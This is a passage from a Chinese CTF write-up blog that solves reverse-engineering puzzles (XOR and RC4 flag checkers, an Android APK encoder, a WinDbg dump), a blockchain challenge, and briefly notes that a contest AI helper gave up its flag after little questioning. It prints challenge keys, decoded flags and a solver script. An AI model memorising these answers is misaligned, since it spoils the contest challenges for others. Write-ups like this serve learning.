    else if ( v13 == 2 )
    {
      v8[j] ^= 0x31u;
    }
    else
    {
      v8[j] ^= 0x90u;
    }
  }
  v12 = 0;
  if ( v9[v12] != v8[v12] )
  {
    sub_1400110AA(std::cout, "not flag");
    exit(1);
  }
  sub_1400110AA(std::cout, "win");
  sub_14001146F(v6, &unk_14001EEF0);
  return 0i64;
}

简单异或,其实就相当于异或了 0x902131。

取密文不方便的话可以动调取。

ezrc4

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v4[32]; // [rsp+0h] [rbp-418h] BYREF
  __int64 v5[32]; // [rsp+100h] [rbp-318h] BYREF
  char s1[256]; // [rsp+200h] [rbp-218h] BYREF
  char v7[264]; // [rsp+300h] [rbp-118h] BYREF
  unsigned __int64 v8; // [rsp+408h] [rbp-10h]

  v8 = __readfsqword(0x28u);
  puts("   _____ _    _  _____ _______ ______ ");
  puts("   _____ _    _  _____ _______ ______ ");
  puts("  / ____| |  | |/ ____|__   __|  ____|");
  puts(" | (___ | |__| | |       | |  | |__   ");
  puts("  \\___ \\|  __  | |       | |  |  __|  ");
  puts("  ____) | |  | | |____   | |  | |     ");
  puts(" |_____/|_|  |_|\\_____|  |_|  |_|     ");
  puts(asc_20F7);
  puts(asc_2110);
  puts("rrrrrcccc4444444!");
  printf("you input flag:");
  v4[0] = 0x5B3C8F65423FAB21LL;
  v4[1] = 0x691AE7846E05170CLL;
  v4[2] = 0x111F7077C3LL;
  memset(&v4[3], 0, 231);
  v5[0] = 0x212179654B6E6546LL;
  memset(&v5[1], 0, 247);
  __isoc99_scanf("%s21", v7);
  sub_1200(v5, 8LL, &unk_4040);
  sub_12E2(v7, s1, 21LL, &unk_4040);
  if ( !strcmp(s1, v4) )
    printf("flag is correct");
  else
    printf(asc_2166);
  return 0LL;
}

进入 sub_12E2,发现在 RC4 的基础上又异或了一个 0x66,直接取数据不方便,远程调试取出来用 CyberChef 直接解。

key 是 FenKey!!。

ezapk

jadx-gui 看一下 apk,发现主要加密逻辑。

package com.mycheck.ezjv;

import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

/* loaded from: classes.dex */
public class MainActivity extends Activity {
    byte[] key = {(byte) 12, (byte) 15, (byte) 25, (byte) 30, (byte) 36};

    @Override // android.app.Activity
    protected void onCreate(Bundle bundle) {
        ADRTLogCatReader.onContext(this, "com.aide.ui.mgai");
        super.onCreate(bundle);
        setContentView(C0000R.layout.activity_main);
        Check(this);
    }

    public static String Encode(String str, byte[] bArr) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < str.length(); i++) {
            sb.append((char) (((char) (((char) (str.charAt(i) ^ bArr[i % bArr.length])) + 6)) * 2));
        }
        return Base64.getEncoder().encodeToString(sb.toString().getBytes(StandardCharsets.UTF_8));
    }

    public void Check(Context context) {
        ((Button) findViewById(C0000R.id.Button1)).setOnClickListener(new View.OnClickListener(this, (EditText) findViewById(C0000R.id.test1), context) { // from class: com.mycheck.ezjv.MainActivity.100000000
            private final MainActivity this$0;
            private final Context val$context;
            private final EditText val$myedit;

            {
                this.this$0 = this;
                this.val$myedit = r9;
                this.val$context = context;
            }

            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                if (!MainActivity.Encode(this.val$myedit.getText().toString(), this.this$0.key).equals("woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg==")) {
                    Toast.makeText(this.val$context, "Wrong! Try again~", 1).show();
                } else {
                    Toast.makeText(this.val$context, "You Win!!", 1).show();
                }
            }
        });
    }
}

逆着写即可,需要注意 byte 和 char 的范围问题,不然跑出来都是乱码。

import java.nio.charset.StandardCharsets;

public class Decoder {

    byte[] key = {(byte) 12, (byte) 15, (byte) 25, (byte) 30, (byte) 36};

    public static String Decode(byte[] bArr) {
        int[] decodedBytes = {130,192,224,248,68,130,80,252,246,168,244,228,204,100,232,254,80,262,222,166,230,120,80,180,250,146,80,172,170,166,244,206,224,242};
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < decodedBytes.length; i++) {
            char c = (char) (decodedBytes[i] / 2);
            c = (char) (c - 6);
            c = (char) (c ^ bArr[i % bArr.length]);
            sb.append(c);
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        Decoder decoder = new Decoder();
        String decodedStr = decoder.Decode(decoder.key);
        System.out.println("Decoded String: " + decodedStr);
    }
}
//Decoded String: 7Ush87-akjxcy2Ju-dwia9;JSO-IQixnsm

EzDBG

拿到 dmp 和 pdb 文件,用 windbg 打开,加载一下符号表 pdb,然后打开 dmp。

!sym noisy
ld EzDBG

alt + 7 看一下汇编,进到 main 函数,发现主要逻辑。

就是一个异或 0x66 的操作,在 memory 里面找一下密文 enc。

丢入 CyberChef 跑一下。

Blockchain

just Signin

生涯中第一道区块链竟是非预期(

题目给了合约地址,猜测出题人肯定测过题,于是直接去查交易记录。

翻到最早的交易,把输入解密,在末尾能发现 flag。

(这题第一天做的,当时能查到记录,现在查不到了)

PPC

绑定QQ账号

开启容器生成临时身份码,群里发 #bind {临时身份码},然后刷新容器得到 flag。

AI

小助手

这个 AI 比较菜,稍微问一下就出了。

✳

感谢阅读,下一个线索见。

一方小小的桌面,一些慢慢积累的想法。
中

搜索文章

输入关键词,寻找一段记录。